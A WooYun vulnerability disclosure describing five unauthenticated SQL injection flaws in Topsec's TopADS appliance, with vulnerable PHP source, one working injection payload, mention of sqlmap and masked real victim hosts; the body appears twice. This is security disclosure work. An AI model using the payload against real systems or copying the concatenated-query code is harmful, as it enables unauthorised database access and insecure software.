当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187044

漏洞标题:天融信TopADS 5处SQL注入漏洞(无需登录)

相关厂商:天融信

漏洞作者: 老虎皮

提交时间:2016-03-21 08:15

修复时间:2016-06-19 10:50

公开时间:2016-06-19 10:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

简要描述:

天融信TopADS 5处SQL注入漏洞,直接出数据,妥妥的

详细说明:

入口文件index.php

require_once ROOTPATH . DIRECTORY_SEPARATOR . 'include' . DIRECTORY_SEPARATOR . 'init.inc.php';


包含init.inc.php文件

require_once ROOTPATH . '/config/config.inc.php';
require_once ROOTPATH . '/config/message.php';
require_once ROOTPATH . '/include/common.inc.php';
require_once ROOTPATH . '/include/function.inc.php';
require_once ROOTPATH . '/include/cfgeng.inc.php';
require_once ROOTPATH . '/include/template.inc.php';
/**
* 获取session中设置的语言,未设置用浏览器默认的语言为网页的语言
*/
$lang = $_SESSION['language'] ? $_SESSION['language'] : get_browse_language();
$GLOBALS['language'] = $lang;
/**
* 引入语言文件
*/
require_once TPLLANGDIR . 'templates.' . $lang . '.lang.php';
$post_submit_action = $_POST['submit_post'];
$get_url_param = $_GET['g'];
require ROOTPATH . '/modules/ads/ads.php';
require_once ROOTPATH . '/modules/ips/ips.mds.php';
$NG = & load_class('Ngtos');
$NG->run();


包含/modules/ads/ads.php文件

<?php
$json_data = $_POST['json_data'];
$get_action_param = $_GET['a'];
$get_zname_param = $_GET['zname'];
unset($_POST['json_data']);
if (NULL != $json_data)
{
//print_r($json_data);
//exit;
$php_json = json_decode($json_data);
if (NULL != $get_zname_param)
{
$name = $get_zname_param;
}
else
{
$name = "";
}
//print_r($get_zname_param);
//exit;
foreach ($php_json as $key => $value)
{
$value = get_object_vars($value);
if ("db_templet_add" == $value['action__'])
{
$post_submit_action = $value['action__'];
require_once './modules/ads/ads_db_operate.php';
exit;
}
else
{
if (NULL != $get_action_param)
{
$post_submit_action = $value['action__'] . "_show";
}
else
{
$post_submit_action = $value['action__'] . "_add";
}
if ("" == $name)
{
$name = $value['name'];
}
$cmdline = array();
$callflgs = 0;
foreach ($value as $k => $v)
{
if ("action__" == $k)
{
continue;
}
if (is_array($v))
{
$callflgs = 1;
$oldcmdline = $cmdline;
foreach ($v as $kk => $vv)
{
if ($oldcmdline['name'] == NULL || $oldcmdline['name'] == "" || $oldcmdline['name'] == "undefined")
{
$oldcmdline['name'] = $name;
}
foreach($vv as $sk => $sv)
{
if ($sv)
{
$oldcmdline[$sk] = $sv;
}
}
$cmdline = $oldcmdline;
//print_r($cmdline);
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);
if ("ads" == $ads_mod[0])
{
include('./modules/ads/ads_command.php');
continue;
}
elseif ("adssql" == $ads_mod[0])
{
include('./modules/ads/ads_sql_log.php');
continue;
}
}
}
$cmdline = $oldcmdline;
}
else
{
if ($cmdline['name'] == NULL || $cmdline['name'] == "" || $cmdline['name'] == "undefined")
{
$cmdline['name'] = $name;
}
if ($v)
{
$cmdline[$k] = $v;
}
}
}
//print_r($cmdline);
//echo "\r\n";
if ($callflgs == 0)
{
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);
if ("ads" == $ads_mod[0])
{
include('./modules/ads/ads_command.php');
continue;
}
elseif ("adssql" == $ads_mod[0])
{
include('./modules/ads/ads_sql_log.php');
continue;
}
}
}
}
}
exit;
}
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
if ("adscapture" == $ads_mod[0])
{
require_once './modules/ads/ads_capture_tcpdump.php';
exit;
}
if ("db" == $ads_mod[0])
{
require_once './modules/ads/ads_db_operate.php';
exit;
}
if ("adsreport" == $ads_mod[0])
{
require_once './modules/ads/ads_report_manage.php';
exit;
}
if ("adsmenacemonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_menace_monitor_sql.php';
exit;
}
if ("adsflowmonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_flow_monitor_sql.php';
exit;
}
$ads_mod = explode("-", $post_submit_action);
if ("adssql" == $ads_mod[0])
{
require_once './modules/ads/ads_sql_log.php';
exit;
}
}
if (NULL != $get_url_param)
{
/* 获 取 所 有 以 ads 开 头 的 页 面 跳 转 */
$ads_mod = explode("_", $get_url_param);
if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
}
?>


其中可看到

if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
if ("adscapture" == $ads_mod[0])
{
require_once './modules/ads/ads_capture_tcpdump.php';
exit;
}
if ("db" == $ads_mod[0])
{
require_once './modules/ads/ads_db_operate.php';
exit;
}
if ("adsreport" == $ads_mod[0])
{
require_once './modules/ads/ads_report_manage.php';
exit;
}
if ("adsmenacemonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_menace_monitor_sql.php';
exit;
}
if ("adsflowmonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_flow_monitor_sql.php';
exit;
}
$ads_mod = explode("-", $post_submit_action);
if ("adssql" == $ads_mod[0])
{
require_once './modules/ads/ads_sql_log.php';
exit;
}
}
if (NULL != $get_url_param)
{
/* 获 取 所 有 以 ads 开 头 的 页 面 跳 转 */
$ads_mod = explode("_", $get_url_param);
if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
}


上面一部分为反序列化问题,下一章节应用(反序列化注入)
我们其中的$post_submit_action 即为前面的submit_post post方式获取
所以第一处:

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}


if ($post_submit_action == "db_templet_search")
{
$sql = "select * from standard_templet where templet_name like '%".$_POST['templet_name']."%'";
$data = $db->select($sql);
if($data == NULL)
{
echo '{"group":[],"page":{"page":"1","count":0,"total":0}}';
}
else
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
}
return;
}


该类系统GPC off,直接注入
利用方式
https://x.x.x.x/index.php
submit_post=db_templet_search&templet_name=a%' or 12=12#
第二处:

if ($post_submit_action == "db_templet_add_checkout")
{
$sql = "INSERT INTO standard_templet values"."('','".$_POST['name']." ','user-defined','user-defined','0')";
if ($db->query($sql) == NULL)
{
echo "error: 模板名已存在或数据库连接失败";
}
return;
}


第三处:

if ($post_submit_action == "db_templet_add")
{
$sql = "INSERT INTO standard_templet values"."('','".$value['templet_name']."','".$value['templet_type']."','".$value['templet_describe']."','".$value['templet_refer']."')";
if ($db->query($sql) == NULL)
{
echo "error: 请检查模板名或数据库连接";
}
return;
}


第四处:

if ($post_submit_action == "db_templet_show")
{
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page']))
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}
$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by templet_type asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if($data == NULL)
{
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
}
else
{
if ($total_num == null)
{
$total_num = 0;
}
$pagenation = array("page" => $_POST["page"], "count" => $cur_num, "total" => $total_num);
$array_data = array("group" => $data, "page" => $pagenation);
$json_data = json_encode($array_data);
echo $json_data;
}
return;
}


第四处为limit注入
第五处:

if ($post_submit_action == "db_templet_delete")
{
$sql = "DELETE FROM standard_templet WHERE templet_name = '".$_POST['templet_name']."'";
$db->query($sql);
return;
}


该处注入不回显,可延时注入,
漏洞证明:
以第一处为例

111.png


222.png


直接采用sqlmap注入

3333.png


5555.png


4444.png


案例如下
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**/index.php

漏洞证明:

入口文件index.php

require_once ROOTPATH . DIRECTORY_SEPARATOR . 'include' . DIRECTORY_SEPARATOR . 'init.inc.php';


包含init.inc.php文件

require_once ROOTPATH . '/config/config.inc.php';
require_once ROOTPATH . '/config/message.php';
require_once ROOTPATH . '/include/common.inc.php';
require_once ROOTPATH . '/include/function.inc.php';
require_once ROOTPATH . '/include/cfgeng.inc.php';
require_once ROOTPATH . '/include/template.inc.php';
/**
* 获取session中设置的语言,未设置用浏览器默认的语言为网页的语言
*/
$lang = $_SESSION['language'] ? $_SESSION['language'] : get_browse_language();
$GLOBALS['language'] = $lang;
/**
* 引入语言文件
*/
require_once TPLLANGDIR . 'templates.' . $lang . '.lang.php';
$post_submit_action = $_POST['submit_post'];
$get_url_param = $_GET['g'];
require ROOTPATH . '/modules/ads/ads.php';
require_once ROOTPATH . '/modules/ips/ips.mds.php';
$NG = & load_class('Ngtos');
$NG->run();


包含/modules/ads/ads.php文件

<?php
$json_data = $_POST['json_data'];
$get_action_param = $_GET['a'];
$get_zname_param = $_GET['zname'];
unset($_POST['json_data']);
if (NULL != $json_data)
{
//print_r($json_data);
//exit;
$php_json = json_decode($json_data);
if (NULL != $get_zname_param)
{
$name = $get_zname_param;
}
else
{
$name = "";
}
//print_r($get_zname_param);
//exit;
foreach ($php_json as $key => $value)
{
$value = get_object_vars($value);
if ("db_templet_add" == $value['action__'])
{
$post_submit_action = $value['action__'];
require_once './modules/ads/ads_db_operate.php';
exit;
}
else
{
if (NULL != $get_action_param)
{
$post_submit_action = $value['action__'] . "_show";
}
else
{
$post_submit_action = $value['action__'] . "_add";
}
if ("" == $name)
{
$name = $value['name'];
}
$cmdline = array();
$callflgs = 0;
foreach ($value as $k => $v)
{
if ("action__" == $k)
{
continue;
}
if (is_array($v))
{
$callflgs = 1;
$oldcmdline = $cmdline;
foreach ($v as $kk => $vv)
{
if ($oldcmdline['name'] == NULL || $oldcmdline['name'] == "" || $oldcmdline['name'] == "undefined")
{
$oldcmdline['name'] = $name;
}
foreach($vv as $sk => $sv)
{
if ($sv)
{
$oldcmdline[$sk] = $sv;
}
}
$cmdline = $oldcmdline;
//print_r($cmdline);
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);
if ("ads" == $ads_mod[0])
{
include('./modules/ads/ads_command.php');
continue;
}
elseif ("adssql" == $ads_mod[0])
{
include('./modules/ads/ads_sql_log.php');
continue;
}
}
}
$cmdline = $oldcmdline;
}
else
{
if ($cmdline['name'] == NULL || $cmdline['name'] == "" || $cmdline['name'] == "undefined")
{
$cmdline['name'] = $name;
}
if ($v)
{
$cmdline[$k] = $v;
}
}
}
//print_r($cmdline);
//echo "\r\n";
if ($callflgs == 0)
{
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);
if ("ads" == $ads_mod[0])
{
include('./modules/ads/ads_command.php');
continue;
}
elseif ("adssql" == $ads_mod[0])
{
include('./modules/ads/ads_sql_log.php');
continue;
}
}
}
}
}
exit;
}
if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
if ("adscapture" == $ads_mod[0])
{
require_once './modules/ads/ads_capture_tcpdump.php';
exit;
}
if ("db" == $ads_mod[0])
{
require_once './modules/ads/ads_db_operate.php';
exit;
}
if ("adsreport" == $ads_mod[0])
{
require_once './modules/ads/ads_report_manage.php';
exit;
}
if ("adsmenacemonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_menace_monitor_sql.php';
exit;
}
if ("adsflowmonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_flow_monitor_sql.php';
exit;
}
$ads_mod = explode("-", $post_submit_action);
if ("adssql" == $ads_mod[0])
{
require_once './modules/ads/ads_sql_log.php';
exit;
}
}
if (NULL != $get_url_param)
{
/* 获 取 所 有 以 ads 开 头 的 页 面 跳 转 */
$ads_mod = explode("_", $get_url_param);
if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
}
?>


其中可看到

if (NULL != $post_submit_action)
{
$ads_mod = explode("_", $post_submit_action);

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
if ("adscapture" == $ads_mod[0])
{
require_once './modules/ads/ads_capture_tcpdump.php';
exit;
}
if ("db" == $ads_mod[0])
{
require_once './modules/ads/ads_db_operate.php';
exit;
}
if ("adsreport" == $ads_mod[0])
{
require_once './modules/ads/ads_report_manage.php';
exit;
}
if ("adsmenacemonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_menace_monitor_sql.php';
exit;
}
if ("adsflowmonitor" == $ads_mod[0])
{
require_once './modules/ads/ads_flow_monitor_sql.php';
exit;
}
$ads_mod = explode("-", $post_submit_action);
if ("adssql" == $ads_mod[0])
{
require_once './modules/ads/ads_sql_log.php';
exit;
}
}
if (NULL != $get_url_param)
{
/* 获 取 所 有 以 ads 开 头 的 页 面 跳 转 */
$ads_mod = explode("_", $get_url_param);
if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}
}


上面一部分为反序列化问题,下一章节应用(反序列化注入)
我们其中的$post_submit_action 即为前面的submit_post post方式获取
所以第一处:

if ("ads" == $ads_mod[0])
{
require_once './modules/ads/ads_command.php';
exit;
}


if ($post_submit_action == "db_templet_search")
{
$sql = "select * from standard_templet where templet_name like '%".$_POST['templet_name']."%'";
$data = $db->select($sql);
if($data == NULL)
{
echo '{"group":[],"page":{"page":"1","count":0,"total":0}}';
}
else
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
}
return;
}


该类系统GPC off,直接注入
利用方式
https://x.x.x.x/index.php
submit_post=db_templet_search&templet_name=a%' or 12=12#
第二处:

if ($post_submit_action == "db_templet_add_checkout")
{
$sql = "INSERT INTO standard_templet values"."('','".$_POST['name']." ','user-defined','user-defined','0')";
if ($db->query($sql) == NULL)
{
echo "error: 模板名已存在或数据库连接失败";
}
return;
}


第三处:

if ($post_submit_action == "db_templet_add")
{
$sql = "INSERT INTO standard_templet values"."('','".$value['templet_name']."','".$value['templet_type']."','".$value['templet_describe']."','".$value['templet_refer']."')";
if ($db->query($sql) == NULL)
{
echo "error: 请检查模板名或数据库连接";
}
return;
}


第四处:

if ($post_submit_action == "db_templet_show")
{
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page']))
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}
$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by templet_type asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if($data == NULL)
{
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
}
else
{
if ($total_num == null)
{
$total_num = 0;
}
$pagenation = array("page" => $_POST["page"], "count" => $cur_num, "total" => $total_num);
$array_data = array("group" => $data, "page" => $pagenation);
$json_data = json_encode($array_data);
echo $json_data;
}
return;
}


第四处为limit注入
第五处:

if ($post_submit_action == "db_templet_delete")
{
$sql = "DELETE FROM standard_templet WHERE templet_name = '".$_POST['templet_name']."'";
$db->query($sql);
return;
}


该处注入不回显,可延时注入,
漏洞证明:
以第一处为例

111.png


222.png


直接采用sqlmap注入

3333.png


5555.png


4444.png


案例如下
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**//index.php
**.**.**.**/index.php
**.**.**.**/index.php

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2016-03-21 10:44

厂商回复:

此五处sql注入漏洞已在v3.1130.1079.1版本中修复。谢谢提交。

最新状态:

暂无